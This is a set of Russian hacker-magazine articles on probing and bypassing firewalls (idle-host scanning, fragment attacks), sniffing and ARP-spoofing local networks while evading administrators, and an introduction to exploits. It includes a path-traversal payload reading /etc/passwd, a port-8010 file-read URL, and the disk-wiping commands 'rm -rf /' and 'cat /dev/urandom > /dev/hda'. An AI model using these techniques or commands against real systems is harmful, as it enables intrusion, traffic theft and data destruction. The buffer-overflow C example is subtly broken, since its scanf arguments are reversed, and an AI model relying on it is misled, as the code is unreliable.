«firewalled». Такое происходит всякий раз, когда в ответ на SYN удаленный узел возвращает ICMP-пакет типа 3 с кодом 13 (Admin Prohibited Filter) с действительным IP-адресом брандмауэра в заголовке (nmap его не отображает; пиши собственный сканер или, используя любой снифер, самостоятельно проанализируй возвращаемый пакет). Если возвратится SYN/ACK – сканируемый порт отрыт. RST/ACK указывает на закрытый или заблокированный брандмауэром порт. Не все брандмауэры генерируют RST/ACK при попытке подключения к заблокированным портам (Check Point Firewall – генерирует), некоторые отсылают ICMP-сообщение, как было показано выше, или ничего не посылают вообще. Большинство брандмауэров поддерживает удаленное управление через интернет, открывая один или несколько TCP-портов, уникальных для каждого брандмауэра. Так, например, Check Point Firewall открывает 256, 257 и 258 порты, а Microsoft Proxy – 1080. Некоторые брандмауэры явным образом сообщают свое имя и версию программного продукта при подключении к ним по netcat (или telnet), в особенности этим грешат прокси-сервера. Последовательно опрашивая все узлы, расположенные впереди исследуемого хоста, на предмет прослушивания характерных для брандмауэров портов, мы в большинстве случаев сможет не только выявить их присутствие, но и определить IP-адрес! Разумеется, эти порты могут быть закрыты как на самом брандмауэре (правда, не все брандмауэры это позволяют), так и на предшествующем ему маршрутизаторе (но тогда брандмауэром будет нельзя управлять через интернет). Прямая трассировка через брандмауэр чаще всего оказывается невозможной (какому администратору приятно раскрывать интимные подробности топологии своих сетей), и атакующему приходится прибегать к всевозможным ухищрениям. Утилита Firewalk представляет собой классический трассер, посылающий TCP– или UDP-пакеты, с таким расчетом, чтобы на узле, следующем непосредственно за брандмауэром, их TTL обращался в ноль, заставляя систему генерировать сообщение ICM_PTIME_EXCEEDED. Благодаря этому Firewalk уверенно работает даже там, где штатные средства уже не справляются, хотя крепко защищенный брандмауэр ей, конечно, не пробить и атакующему приходится использовать более продвинутые алгоритмы. Будем исходить из того, что с каждым отправляемым IP-пакетом система увеличивает его ID на единицу (как это чаще всего и случается). С другой стороны, согласно спецификации RFC-793, описывающей TCP-протокол, всякий хост, получивший посторонний пакет, который не относится к установленным TCP-соединениям, должен реагировать на него посылкой RST. Для реализации атаки нам понадобится удаленный узел, не обрабатывающий в данный момент никакого постороннего трафика и генерирующий предсказуемую последовательность ID. В хакерских кругах такой узел называется немым (dump). Обнаружить немой хост очень просто – достаточно лишь отправить ему серию IP-пакетов и проанализировать ID, возвращенный в заголовках. Запомним (запишем на бумажку) ID последнего пакета. Затем выберем жертву и отправим ей SYN-пакет, указав в обратном адресе IP немого узла. Атакуемый узел, думая, что немой хост хочет установить с ним TCP-соединение, ответит: SYN/ACK. Немой хост, словив посторонний SYN/ACK, возвратит RST, увеличивая свой счетчик ID на единицу. Отправив немому хосту еще один IP-пакет и проанализировав возвращенный ID, мы сможем узнать, посылал ли немой хост жертве RST-пакет или нет. Если посылал, значит, атакуемый хост активен и подтверждает установку TCP-соединения на заданный порт. При желании хакер может просканировать все интересующие его порты, не рискуя оказаться замеченным, ведь вычислить его IP практически невозможно – сканирование осуществляется «руками» немого узла и с точки зрения атакуемого выглядит как обычное SYN-сканирование. Предположим, что немой хост расположен внутри DMZ, а жертва находится внутри корпоративной сети. Тогда, отправив немому хосту SYN-пакет от имени жертвы, мы сможем проникнуть через брандмауэр, поскольку он будет думать, что с ним устанавливает соединение внутренний хост, а соединения этого типа в 99,9% случаях разрешены (если их запретить, пользователи корпоративной сети не смогут работать со своим же собственными публичными серверами). Естественно, все маршрутизаторы на пути от хакера к немому хосту не должны блокировать пакет с поддельным обратным адресом, в противном случае пакет умрет задолго до того, как доберется до места назначения. Утилита hping как раз и реализует сценарий сканирования данного типа, что делает ее основным орудием злоумышленника для исследования корпоративных сетей, огражденных брандмауэром. Как вариант, хакер может захватить один из узлов, расположенных внутри DMZ, используя их как плацдарм для дальнейших атак. Сборку фрагментированных TCP-пакетов поддерживают только самые качественные из брандмауэров, а все остальные анализируют лишь первый фрагмент, беспрепятственно пропуская все остальные. Послав сильно фрагментированный TCP-пакет, «размазывающий» TCP-заголовок по нескольким IP-пакетам, хакер скроет от брандмауэра Acknowledgment Number и он не сможет определить принадлежность TCP-пакета к соответствующей ему TCP-сессии (быть может, он относится к легальному соединению, установленному корпоративным пользователем). Если только на брандмауэре не активирована опция «резать фрагментированные пакеты», успех хакерской операции гарантирован. Блокирование фрагментированных пакетов создает множество проблем и препятствует нормальной работе сети. Теоретически возможно блокировать лишь пакеты с фрагментированным TCP-заголовком, однако далеко не всякий брандмауэр поддерживает столь гибкую политику настройки. Атаки данного типа, называемые Tiny Fragment Attack, обладают чрезвычайно мощной проникающей способностью и потому являются излюбленным приемом всех хакеров. Атаки с использованием внутренней маршрутизации (она же маршрутизация от источника, или source routing) намного менее актуальны, но мы все же их рассмотрим. Как известно, IP-протокол позволяет включать в пакет информацию о маршрутизации. При отправке IP-пакета жертве навязанная хакером маршрутизация чаще всего игнорируется, и траектория перемещения пакета определяется исключительно промежуточными маршрутизаторами, но ответные пакеты возвращаются по маршруту, обратному указанному в IP-заголовке, что создает благоприятные условия для его подмены. Более упрощенный вариант атаки ограничивается одной лишь подменой IP-адреса отправителя. Грамотно настроенные маршрутизаторы (и большинство клонов UNIX) блокируют пакеты с внутренней маршрутизацией. Пакеты с поддельными IP-адресами представляют несколько большую проблему, однако качественный брандмауэр позволяет отсеивать и их. Таблицы маршрутизации могут быть динамически изменены посылкой сообщения ICMP Redirect, что позволяет (по крайней мере, теоретически) направить хакерский трафик в обход брандмауэра (см. также ARP– spoofing), впрочем, сейчас такие безнадежно инсекьюрные системы практически уже не встречаются. Побег из-за брандмауэраПользователи внутренней сети, огражденной недемократичным брандмауэром, серьезно ограничены в своих возможностях. Про невозможность работы с FTP-серверами в активном режиме мы уже говорили. Также могут быть запрещены некоторые протоколы и закрыты необходимые тебе порты. В клинических случаях администраторы ведут черных списки IP-адресов, блокируя доступ к сайтам «нецелесообразной» тематики. Поскольку брандмауэры рассчитаны на защиту извне, а не изнутри, вырваться из-за их застенков очень просто, достаточно лишь воспользоваться любым подходящим прокси-сервером, находящимся во внешней сети и еще не занесенным администратором в черный список. В частности, популярный клиент ICQ позволяет обмениваться сообщениями не напрямую, а через сервер (не обязательно сервер компании-разработчика). Существуют тысячи серверов, поддерживающих работу ICQ. Одни существуют в более или менее неизменном виде уже несколько лет, другие динамически то появляются, то исчезают. И если «долгожителей» еще реально занести в стоп-лист, то уследить за серверами-однодневками администратор просто не в состоянии! Также можно воспользоваться протоколом SSH (Secure Shell), изначально спроектированным для работы через брандмауэр и поддерживающим шифрование трафика (на тот случай, если брандмауэр вздумает искать в нем «запрещенные» слова типа «sex», «hack» и т.д.). SSH-протокол может работать по любому доступному порту, например, 80, и тогда с точки зрения брандмауэра все будет выглядеть как легальная работа с WEB-сервером. Между тем, SSH является лишь фундаментом для остальных протоколов, из которых в первую очередь хотелось бы отметить telnet, обеспечивающий взаимодействие с удаленными терминалами. Заплатив порядка 20$ за хостинг любому провайдеру, ты получишь аккаунт, поддерживающий SSH и позволяющий устанавливать соединения с другими узлами сети (бесплатные хостинги этой возможности чаще всего лишены или накладывают на нее жесткие ограничения). Наконец, можно воспользоваться сотовой телефонией, прямым модемным подключением и прочими коммуникационными средствами, устанавливающими соединение с провайдером, в обход брандмауэра. Технологии построения брандмауэров не стоят на месте, и специалисты по информационной безопасности не дремлют. С каждым днем хакерствовать становится все труднее и труднее, однако полностью хакерство не исчезнет никогда. Ведь на смену заткнутым дырам приходят другие. Главное, не сидеть сложа руки, а творчески экспериментировать с брандмауэрами, изучать стандарты и спецификации, изучать дизассемблерные листинги и искать, искать, искать… Nmap Популярный сканер портов, позволяющий обнаруживать некоторые типы брандмауэров. Бесплатен. Исходные тексты доступны. На сайте http://www.insecure.org/nmap море технической информации по проблеме. FireWalk Утилита для трассировки сети через брандмауэр, работающая на TCP/UDP-протоколах и основанная на TTL. Бесплатна. http://www.packetfactory.net/firewalk. Перед использованием рекомендуется ознакомиться с документацией http://www.packetfactory.net/firewalk/firewalk-final.pdf. HPING Утилита, реализующая сканирование через немой хост. Мощное оружие для исследования внутренней сети по-за брандмауэром. Бесплатна и хорошо документирована. http://www.hping.org/papers.html. SSH-клиент Secure Shell клиент, используемый пользователями внутренней сети для преодоления запретов и ограничений, наложенных брандмауэром. Бесплатен. Распространяется вместе с исходными текстами. http://www.openssh.com. FFAQ Подробный FAQ по брандмауэрам на английском языке. www.interhack.net/pubs/fwfaq/firewalls-faq.pdf. Его русский перевод, не отличающейся особой свежестью, лежит на http://ln.com.ua/~openxs/articles/fwfaq.html. Firewalls Конспект лекций по брандмауэрам (на английском языке) от тайваньского профессора Yeali S. Sun. http://www.im.ntu.edu.tw/~sunny/pdf/IS/Firewall.pdf OpenNet Огромный портал по сетевой безопасности, содержащий в том числе и информацию о дырах в популярных брандмауэрах (на русском и английском языках). http://www.opennet.ru Брандмауэры подвержены большому количеству DoS-атак, таких, как эхо-шторм или SYN-flood, которым они в принципе неспособны противостоять. Брандмауэр – это маршрутизатор, проски-север и система обнаружения вторжений в одном флаконе. Брандмауэры не защищают от атак, а лишь ограждают локальную сеть кирпичным забором, через который легко перелезть. В большинстве случаев сквозь кирпичную стену брандмауэра можно пробить ICMP-тоннель, обернув передаваемые данные ICMP-заголовком. Брандмауэр можно атаковать не только извне, но и изнутри корпоративной сети. Различные брандмауэры по-разному реагируют на нестандартные TCP-пакеты, позволяя идентифицировать себя. Брандмауэры, открывающие 53 порт (служба DNS) не только на приемнике (например, Check Point Firewall), но и на источнике, позволяют хакеру просканировать всю внутреннюю сеть. Уязвимость программных прокси в общем случае невелика, и в основном они атакуются через ошибки переполнения буфера. Некоторые брандмауэры подвержены несанкционированному просмотру файлов через порт 8010 и запросы типа http://www.host.com::8010/c:/ или http://www.host.com::8010//. Служба DCOM нуждается в широком диапазоне открытых портов, что существенно снижает степень защищенности системы, обессмысливая использование брандмауэра. Рыбная ловля в локальной сети / Все аспекты снифинга под *nix
Сетевой трафик содержит уйму интересного – пароли, номера кредитных карт, конфиденциальную переписку, и все это может стать достоянием злоумышленника, если тот забросит в сеть снифер. Перехват информации – занятие настолько же интересное, насколько и небезопасное. Популярные сниферы никак не скрывают своего присутствия и легко обнаруживаются администраторами. Тем, кто опасается расправы, мы можем посоветовать только одно – не заниматься подобными вещами. Ну а неугомонным экспериментаторам лучше написать свой собственный снифер, и эта статья подскажет как. Снифером (от англ. sniff – вынюхивать) называют утилиты для перехвата сетевого трафика, адресованного другому узлу, или – в более общем случае – всего доступного трафика, проходящего или не проходящего через данный хост. Большинство сниферов представляют собой вполне легальные средства мониторинга и не требуют установки дополнительного оборудования. Тем не менее, их использование в общем случае незаконно или же предполагает соответствующие полномочия (например, монтер может подключаться к телефонным проводам, а ты – нет). Кстати говоря, слово «sniffer» является торговой маркой компании Network Associates, распространяющей сетевой анализатор «Sniffer(r) Network Analyzer». Использовать этот термин в отношении других программ с юридической точки неправомерно, но… XEROX тоже торговая марка, а в просторечии все копировальные аппараты независимо от производителя называют «ксероксами», и никто от этого еще не пострадал. Объектом атаки могут выступать: локальная сеть (как хабовой, так и свитчевой архитектуры), глобальная сеть (даже при модемном подключении!), спутниковый и мобильный интернет, беспроводные средства связи (ИК, «голубой зуб») и т.д. В основном мы будем говорить о локальных сетях, а все остальные объекты рассмотрим лишь кратко, так как они требуют совсем другого подхода. По методу воздействия на жертву существующие атаки можно разделить на два типа: пассивные и активные. Пассивный снифинг позволяет перехватывать лишь ту часть трафика, которая физически проходит через данный узел. Все остальное может быть получено лишь путем прямого вмешательства в сетевые процессы (модификация таблиц маршрутизации, отправка подложных пакетов и т.д.). Локальная сеть уже давно стала пониматься синонимично Ethernet, а в Ethernet-сетях, построенных по топологии общей шины, каждый испускаемый пакет доставляется всем участникам сети. Сетевая карта на аппаратном уровне анализирует заголовки пакетов (фреймов) и сверяет свой физический адрес (так же называемый MAC-адресом) с адресом, прописанном в Ethernet-заголовке, передавая на IP-уровень только «свои» пакеты. Для перехвата трафика карту необходимо перевести в неразборчивый (promiscuous) режим, в котором на IP-уровень передается все принятые пакеты. Неразборчивый режим поддерживает подавляющее большинство стандартных карт, провоцируя излишне любопытных пользователей на проникновение в интимную жизнь остальных участников сети. Переход на витую пару с концентратором ничего не меняет – отправляемые пакеты дублируется на каждый выход хаба и грабятся по той же самой схеме. Коммутатор, самостоятельно анализирующий заголовки пакетов и доставляющий их только тем узлам, для которых они предназначены, предотвращает пассивный перехват, вынуждая атакующего переходить к активным действиям. Таким образом, для реализации пассивного снифинга мы должны перевести сетевую карту в неразборчивый режим и создать сырой (raw) сокет, дающий доступ ко всему, что валится на данный IP-интерфейс. Обычные сокеты для этой цели не подходят, поскольку принимают только явно адресованные им пакеты, поступающие на заданный порт. Легальные сниферы чаще всего используют кросс-платформенную библиотеку libpcap, однако настоящие хакеры предпочитают разрабатывать ядро снифера самостоятельно. Операционные системы *nix блокируют прямой доступ к оборудованию с прикладного уровня (так что перепрограммировать сетевую карту просто так не удастся), однако все же предоставляют специальные рычаги для перевода интерфейса в неразборчивый режим, правда, в различных никсах эти рычаги очень разные, что существенно усложняет нашу задачу. В состав BSD входит специальный пакетный фильтр (BPF – BSD Packet Filter), поддерживающий гибкую схему выборочного перехвата чужих пакетов и соответствующий устройству /dev/bpf. Перевод интерфейса в неразборчивый режим осуществляется посредством IOCTL и выглядит приблизительно так: ioctl(fd, BIOCPROMISC, 0), где fd – дескриптор интерфейса, а BIOCPROMISC – управляющий IOCTL-код. В Solaris'е все осуществляется аналогично, не совпадает только IOCTL-код и устройство называется не bpf, а hme. Похожим образом ведет себя и SunOS, предоставляющая потоковый драйвер псевдоустройства nit, также называемый краником в сетевом интерфейсе (NIT – Network Interface Tap). В отличие от пакетного фильтра BPF, потоковый фильтр NIC перехватывает только входящие пакеты, позволяя исходящим прошмыгнуть мимо него. К тому же он намного медленнее работает. Иную схему грабежа трафика реализует ОС Linux, поддерживающая специальные ioctl-коды для взаимодействия с сетью на уровне драйверов. Просто создай сырой сокет вызовом socket (PF_PACKET, SOCK_RAW, int protocol) и переведи связанный с ним интерфейс в неразборчивый режим: ifr.ifr_flags |= IFF_PROMISC; ioctl (s, SIOCGIFFLAGS, ifr), где s – дескриптор сокета, а ifr – интерфейс. Полностью готовую к употреблению функцию, подготавливающую сырой сокет к работе с переводом интерфейса в неразборчивый режим и поддерживающую большое количество различных операционных систем, как то: SunOS, Linux, FreeBSD, IRIX и Solaris, можно легко выдрать из снифера, исходный текст которого находится по адресу: http://packetstormsecurity.org/sniffers/gdd13.c. Перевод интерфейса в неразборчивый режим не проходит бесследно и легко обнаруживается утилитой ifconfig, отображающей его статус, правда, для этого администратор должен иметь возможность удаленного запуска программ на машине атакующего, чему атакующий может легко воспрепятствовать или модифицировать код ifconfig (и других аналогичных ей утилит) так, чтобы она выдавала подложные данные. Кстати говоря, засылая снифер на какой-либо компьютер, всегда нужно помнить, что его присутствие в подавляющем большинстве случаев обнаруживается именно по ifconfig! Многие легальные сниферы автоматически резолвят все полученные IP-адреса, выдавая атакующего с головой. Администратор посылает пакет на несуществующий MAC-адрес от/на несуществующего IP. Узел, поинтересовавшийся доменным именем данного IP, и будет узлом атакующего. Естественно, если атакующий использует собственный снифер, вырубит DNS в настройках сетевого соединения или оградит себя локальным брандмауэром, администратор останется наедине со своей задницей. Как вариант, администратор может послать на несуществующий MAC-адрес пакет, предназначенный для атакующего (с действительным IP-адресом и портом отвечающей службы, например, ICMP ECHO, более известной как ping). Работая в неразборчивом режиме, сетевая карта передаст такой пакет на IP-уровень, и тот будет благополучно обработан системой, автоматически генерирующей эхо-ответ. Чтобы не угодить в ловушку, атакующий должен отключить ICMP и закрыть все TCP-порты, что можно сделать с помощью того же брандмауэра, конечно, при условии, что тот не открывает никаких дополнительных портов (а большинство брандмауэров их открывают). Между прочим, грабеж трафика требует ощутимых процессорных ресурсов, и машина начинает заметно тормозить. Ну, тормозит, и фиг с ней – какие проблемы? А вот какие. Администратор делает узлу атакующего ping и засекает среднее время отклика. Затем направляет шторм пакетов на несуществующие (или существующие) MAC-адреса, после чего повторяет ping. Изменение времени отклика полностью демаскирует факт перехвата, и, чтобы этому противостоять, атакующий должен либо запретить ICMP ECHO (что вызовет серьезные подозрения), либо стабилизировать время отклика, вставляя то или иное количество холостых задержек (для этого ему придется модифицировать код эхо-демона). Разумеется, существуют и другие способы обнаружения пассивного перехвата трафика. Например, администратор пускает по сети подложный пароль, якобы принадлежащий root'у, а сам залегает в засаду и ждет, что за зверь в эту ловушку попадется, после чего направляет по соответствующему адресу бригаду каратистов быстрого реагирования. Отправляя пакет на заданный IP-адрес, мы, очевидно, должны доставить его какому-то узлу. Но какому? Ведь сетевая карта оперирует исключительно физическими MAC-адресами, а про IP ничего не знает! Следовательно, нам необходима таблица соответствия MAC– и IP-адресов. Построением такой таблицы занимается операционная система, и делает это она при помощи протокола ARP (Address Resolution Protocol – протокол разрешения адресов). Если физический адрес получателя неизвестен, в сеть отправляется широковещательный запрос типа: «Обладатель данного IP, сообщите свой MAC». Получив ответ, узел заносит его в локальную ARP-таблицу, для надежности периодически обновляя ее (фактически ARP-таблица представляет собой обыкновенный кэш). В зависимости от типа операционной системы и ее конфигурации интервал обновления может варьироваться в диапазоне от 30 сек. до 20 мин. Никакой авторизации для обновления ARP-таблицы не требуется, более того, большинство операционных систем благополучно переваривают ARP-ответы, даже если им не предшествовали соответствующие ARP-запросы (SunOS – одна из немногих, кто не позволяет обмануть себя подобным образом, и потому подложный ARP-пакет должен быть отправлен только после соответствующего ARP-запроса, но до прихода подлинного ответа). Для захвата чужого IP атакующему достаточно послать подложный ARP-запрос, который может быть как целенаправленным, так и широковещательным (для отправки/приема ARP-пакетов необходим доступ к сырым сокетам или специальному API операционной системы, подробности можно расковывать в утилите arp). Допустим, атакующий хочет перехватить трафик между узлами «A» и «B». Он посылает узлу «A» подложный ARP-ответ, содержащий IP-адрес узла «B» и свой MAC-адрес, а узлу «B» – ARP-ответ с IP-адресом узла «A» и своим MAC-адресом. Оба узла обновляют свои ARP-таблицы и все отправляемые ими пакеты попадают на узел злоумышленника, который либо блокирует, либо доставляет их получателю (возможно, в слегка измененном виде, то есть работает как прокси). Если послать подложный ARP-пакет маршрутизатору, атакующий сможет перехватывать и пакеты, приходящие извне данного сегмента сети. Атака такого типа называется MiM (сокращение от «Man-In-the-Middle» – человек посередине). Как вариант, можно послать подложный ARP-ответ с несуществующим MAC-адресом. Тогда связь между «A» и «B» будет утеряна, впрочем, через некоторое время она автоматически восстановится (ведь ARP-таблица динамически обновляется!), и, чтобы этого не произошло, атакующий должен направить на жертву мощный поток подложных пакетов. Кстати, если маршрутизатор не успевает маршрутизировать поступающие пакеты, он автоматически переключается в широковещательный режим, становясь обычным хабом. Загрузив маршрутизатор работой по самые помидоры (или дождавшись пиковой загрузки сети), атакующий может преспокойно снифать трафик и в пассивном режиме. Активная природа ARP-атаки демаскирует злоумышленника, и сетевые анализаторы типа arpwatch легко обнаруживают перехват. Они смотрят все пролетающие по сети пакеты (то есть работают как снифер), вытаскивают ARP-ответы и складывают их в базу данных, запоминая, какому MAC-адресу принадлежит какой IP-адрес. При обнаружении несоответствия администратору отправляется e-mail, к моменту получения которого нарушитель обычно успевает скрыться со всем награбленным трафиком. К тому, же в сетях с DHCP (сервером динамической раздачи IP-адресов) arpwatch выдает большое количество ложных срабатываний, так как одному и тому же MAC-адресу назначаются различные IP-адреса. Некоторые операционные системы самостоятельно обнаруживают факт захвата своего IP-адреса посторонним узлом, но только в том случае, если злоумышленник использовал широковещательную рассылку (очень зря). К тому же, по малопонятным для меня мотивам ОС не отправляет ARP-ответ, отбирая похищенный IP-адрес назад, а просто отделывается многоэтажным предупреждением, смысл которого до рядового пользователя все равно не дойдет. Статическая ARP-таблица, формируемая вручную, в этом плане выглядит намного более привлекательной, правда, даже после перехода на нее многие операционные системы продолжают принимать подложные ARP-ответы, безропотно отдавая себя в лапы злоумышленника, и убедить их не делать этого очень трудно, особенно если ты не гуру. Физический адрес сетевой карты обычно жестко прошит в ПЗУ, и по стандарту никакой MAC не может использоваться дважды. Тем не менее, всякое ПЗУ можно перепрограммировать (особенно, если это перепрограммируемое ПЗУ типа EEPROM, каким на новых картах оно обычно и бывает). Также некоторые карты позволяют изменять свой MAC вполне легальными средствами (например, все той же многострадальной ifconfig). Наконец, заголовок Ethernet-пакета формируется программными, а не аппаратными средствами, поэтому нечестный драйвер может запросто прописать чужой MAC! Клонирование MAC-адреса позволяет перехватывать трафик даже без присвоения чужого IP и без перевода карты в неразборчивый режим. Факт клонирования (которым, кстати, любят баловаться пользователи популярных ныне домашних сетей) легко обнаружить с помощью протокола RARP (Reverse ARP), позволяющего определить, какой IP-адрес соответствует данному MAC. Каждому MAC должен соответствовать только один IP-адрес, в противном случае здесь что-то не так. Естественно, если атакующий не только клонирует MAC, но и захватит IP, этот прием не сработает. Качественные маршрутизаторы позволяют байндить (от англ. bind – связывание) порты, закрепляя за каждым «проводом» строго определенный MAC, обессмысливая тем самым его клонирование. Разработка собственного снифера – это хороший способ поупражняться в программировании, покопаться в недрах операционной системы и изучить большое количество сетевых протоколов. Короче говоря, совместить приятное с полезным. Можно, конечно, использовать и готовые утилиты, но это все равно, что стрелять в кабана, привязанного к дереву – ни азарта, ни удовлетворения. Хабом (от англ. hub – ступица колеса), или концентратором, называют многопортовый репитер (повторитель). Получив данные на один из портов, репитер немедленно перенаправляет их на остальные порты. В коаксиальных сетях репитер не является обязательным компонентом, и при подключении методом общей шины можно обойтись без него. В сетях на витой паре и коаксиальных сетях, построенных по топологии «звезда», репитер присутствует изначально. Свитч (от англ. switch – коммутатор), также называемый интеллектуальным хабом/маршрутизатором, представляет собой разновидность репитера, передающего данные только на порт того узла, которому они адресованы, что предотвращает возможность перехвата трафика (во всяком случае, теоретически). Для перехвата трафика на модемном подключении через обычную или электронную АТС (то есть не через кабельный модем) необходимо перепрограммировать маршрутизатор, находящийся у провайдера, что непросто сделать, однако у большинства провайдеров он так криво настроен, что посторонний трафик сыплется сам – только успевай принимать. В основном он состоит из обрывков бессвязного мусора, но порой в нем встречается кое-что интересное (например, пароли на почтовые ящики). С другой стороны, перехват Dial-Up трафика позволяет исследовать все пакеты, принимаемые/отправляемые твоей машиной. Когда огонек модема возбуждающе мигает, но ни браузер, ни почтовый клиент, ни файлокачалка не активны, разве не интересно узнать, какая зараза ломиться в сеть, что и куда она передает? Вот тут-то локальный снифер и помогает! Не все сниферы поддерживают соединения типа PPP, хотя с технической точки зрения это даже проще, чем грабить Ethernet. Переводить сетевую карту в неразборчивый режим не нужно, достаточно лишь сформировать сырой IP-сокет. Правда, если операционная система создает для PPP-соединения виртуальный сетевой адаптер, то ситуация становится неоднозначной. Некоторые драйвера требуют перехода в неразборчивый режим, некоторые – нет. За подробностями обращайся к документации на свою операционную систему. Чтобы снифать трафик и гарантированно остаться незамеченным, достаточно настроить карту только на прием пакетов, запретив передачу на аппаратном уровне. На картах с витой парой для этого нужно просто перерезать передающие провода (обычно они оранжевого цвета). И хотя существует оборудование, позволяющее засечь левое подключение, подавляющему большинству организаций оно недоступно, поэтому реальная угроза разоблачения хакера мала. Разумеется, stealth-сниффинг поддерживает только пассивный перехват, и потому в сетях с коммутатором придется дожидаться пиковой загрузки последнего, при которой он дублирует поступающие данные на все порты, как обычный хаб. Никита Кислицин, редактор рубрики «Взлом» журнала «Хакер»: «Чрезвычайно эффективным методом взлома компьютерных сетей является снифинг данных. Что и говорить, зачастую бывает куда проще отснифать пароль к какому-то ресурсу, нежели ломать систему „с головы“. Однако прошло время, когда, запустив простейший пакетный снифер, любой желающий получает доступ ко всем данным, передаваемым по локалке. Большинство компьютерных систем строятся сейчас на базе коммутируемых сетей, в которых пакетные сниферы бессильны. Тут то на помощь и пришла атака Man-In-the-Middle и ARP-спуфинг как частный ее случай. От этого уже никуда не деться, поэтому в очередной раз спешу напомнить сетевым администраторам о целесообразности использования защищенных соединений, в которых потоки информации криптуются стойким алгоритмом и передаваемая информация недоступна сетевым злодеям». Большинство сниферов представляют собой вполне легальные средства мониторинга и не требуют установки дополнительного оборудования. Слово «sniffer» является торговой маркой компании Network Associates, распространяющей сетевой анализатор «Sniffer(r) Network Analyzer». Пассивный снифинг позволяет перехватывать лишь ту часть трафика, которая физически проходит через данный узел. Для перехвата трафика карту необходимо перевести в неразборчивый режим, в котором на IP-уровень передаются все принятые пакеты. Перевод интерфейса в неразборчивый режим не проходит бесследно и легко обнаруживается утилитой ifconfig. Никакой авторизации для обновления ARP-таблицы не требуется! Некоторые операционные системы самостоятельно обнаруживают факт захвата своего IP-адреса посторонним узлом. Xploits. How to? / Эксплоиты под *nix для начинающих
Очень часто требуется добыть важную информацию, упрятанную на вражеском сервере. В большинстве случаев эта информация рядовому пользователю системы недоступна, поэтому встает вопрос о повышении прав в системе, разрешается который при помощи специальных программ – эксплоитов. Эксплоиты – специальные программы, использующие уязвимости в том или ином компоненте системы или сервисе с целью повышения или получения прав в системе либо для деструктивных целей, например, DOS-атак. Для поиска уязвимостей чаще всего берутся сервисы или компоненты системы, запущенные с высокими привилегиями, или приложения, принадлежащие руту, у которых установлен бит SUID/SGID. Практически все программные эксплоиты используют уязвимости класса buffer overflow. Как ты, наверное, уже догадался, взломщик, а, точнее, shell-код (набор машинных инструкций, который заполняет собой переполненный буфер), встроенный в эксплоит, получит права дырявого приложения и предоставит их атакующему, например, в виде открытого на каком-либо порту shell’а с повышенными правами. Немного по-другому обстоят дела с DoS-эксплоитами, shell-код которых представляет из себя своего рода «кракозябру», не имеющую никакого лексического значения, и поэтому приложение, пытаясь понять, что же это такое, сваливается в кору (core), или, говоря простым языком, глючит и зависает. Если ты не знаешь, что значит выпадать в core, приведу аналогичный пример из Винды, с которым ты уж точно не раз сталкивался: программа зависает и выдает окошко «programm.exe – Ошибка приложения» примерно такого содержания: «Инструкция по адресу 0x12121212 обратилась к памяти по адресу 0x13131313. Память не может быть 'read'». Отличие лишь в том, что *nix-системы пишут на диск своеобразный дамп памяти, по которому можно определить причину ошибки. Существует множество различных типов переполнения буфера, соответственно, и причин столько же. Чтобы наглядно показать тебе, каким образом получаются переполнения, я приведу пример. #include <stdio.h> int main() { char buff[10] = {0}; //как ты видишь, в самом начале все элементы. // выделенного под переменную буфера представляют 10 нулей. // видно, что их может быть максимум 10! Т.е. программист рассчитывает, что // мы введем обязательно десятизначное число. printf(«Enter your 10-digit number»); // Вводим число… scanf(buff, «%s»); // А вот мы и добрались до бага, функция scanf в данном // случае не проверяет длину введенного нами числа. Подумай, куда денется // еще 10 байт информации, если мы введем не 10, а 20 знаков? // Правильно, выйдет за пределы буфера. } Вот как все легко, а если после 10-го символа вставить shell-код? Более подробно обо всем этом читай в Спеце #08.04(45). Уязвимости в программе возникают из-за невнимательности и халатности программистов. Также в этом есть часть вины самой архитектуры x86. В ближайшем времени компания Intel планирует выпустить процессор с аппаратной защитой от уязвимостей переполнения буфера. Насколько она будет эффективна, мы сможем убедиться в ближайшем будущем, а пока эксплоиты, использующие эти уязвимости, живут и процветают. Эксплоиты разделяют на удаленные (remote) и локальные (local). Заметь: «удаленные» (remote) никаким местом не связанны с «удаленными» (erased, removed, deleted). Удаленные сплоиты позволяют использовать баг в сервисе, доступном извне, к которому можно подсоединиться с другой машины посредством локальной сети или интернета. К таким сервисам относится, например, telnetd, ftpd, sshd, pop3d. Чаще всего черви, написанные для ОС *nix, распространяются именно таким способом. То есть они содержат встроенный эксплоит для внешнего сервиса. Если возвратиться к Windows, то самым ярким аналогом является уязвимость в RPC DCOM операционных систем Windows 2000/NT/XP/2003 и червь msblast. Кстати, сообщения о том, что «компьютер будет перезагружен через xx секунд», – результат кривого переполнения буфера, вызванного непродуманным алгоритмом действий червячка. Эти эксплоиты зачастую более желанные для хакера, потому что для их использования чаще всего не требуется иметь никакого доступа к атакуемой машине. Совершенно другая ситуация с локальными эксплоитами: они позволяют использовать брешь в приложении или в компоненте операционной системы, не имеющем прямого доступа к интернету. Ярким примером этого могут служить ядерные баги – ptrace и do(brk). Ты знаешь об уязвимостях в web-скриптах, которые можно использовать прямо из адресной строки браузера, например «http://www.vulnhost.hu/vulnscript.php?page=../../../../etc/passwd»? Так вот, после того как ты все это набрал, как думаешь, чем это стало? Эксплоитом! То есть исходя из определения эксплоитом для скрипта «vulnscript.пхп» является «?page=../../../../etc/passwd». Помимо такого деления эксплоиты можно разбить и на классы по их действиям. Некорректно говорить, что эксплоиты приводят к тому-то и тому-то. На самом деле, они просто переполняют буфер, а какие-либо действия выполняет shell-код. Именно от содержания shell-кода зависит то, что произойдет при успешном выполнении атаки: откроется порт, выполнится команда или сервер уйдет в даун. Откровенно говоря, классов эксплоитов много. Я познакомлю тебя с двумя. Чаще всего, эти эксплоиты удаленного действия. Целью, которую преследует хакер, натравливая такую штуку на уязвимый сервер, является выведение из строя атакуемого сервиса или всей операционной системы (да-да, бывают такие случаи, когда повешенный демон забирает с собой всю ОС). С каждым днем происходит все больше таких атак. Почему? Потому что тем, кто заказывает эти атаки, не нужна информация с сервера. Цель таких атак, как правило, банальное лишение конкурента дееспособности. Согласись, атаковать уязвимый сервис, подверженный DOS-атаке, проще, чем натравливать целую армию компьютеров на произведение ICMP– и подобных ей атак, действующих не проработанным принципом, а количеством. Второй причиной является то, что иногда, для того чтобы насолить врагу, достаточно DOS-атаки, а не rm –rf / (мне больше нравится cat /dev/urandom > /dev/hda – прим. Аваланча), а уязвимостей, позволяющих произвести убойную атаку, гораздо больше, чем тех, которые позволяют получить доступ. Это происходит потому, что часто переполнить буфер бывает достаточно легко, а впарить shell-код так, чтобы он выполнился как задумано, очень сложно, а порой даже нереально, так как в дырявой программе все-таки существует какая-то вредная проверка на вшивость. Об этом классе эксплоитов я тоже уже успел упомянуть. После 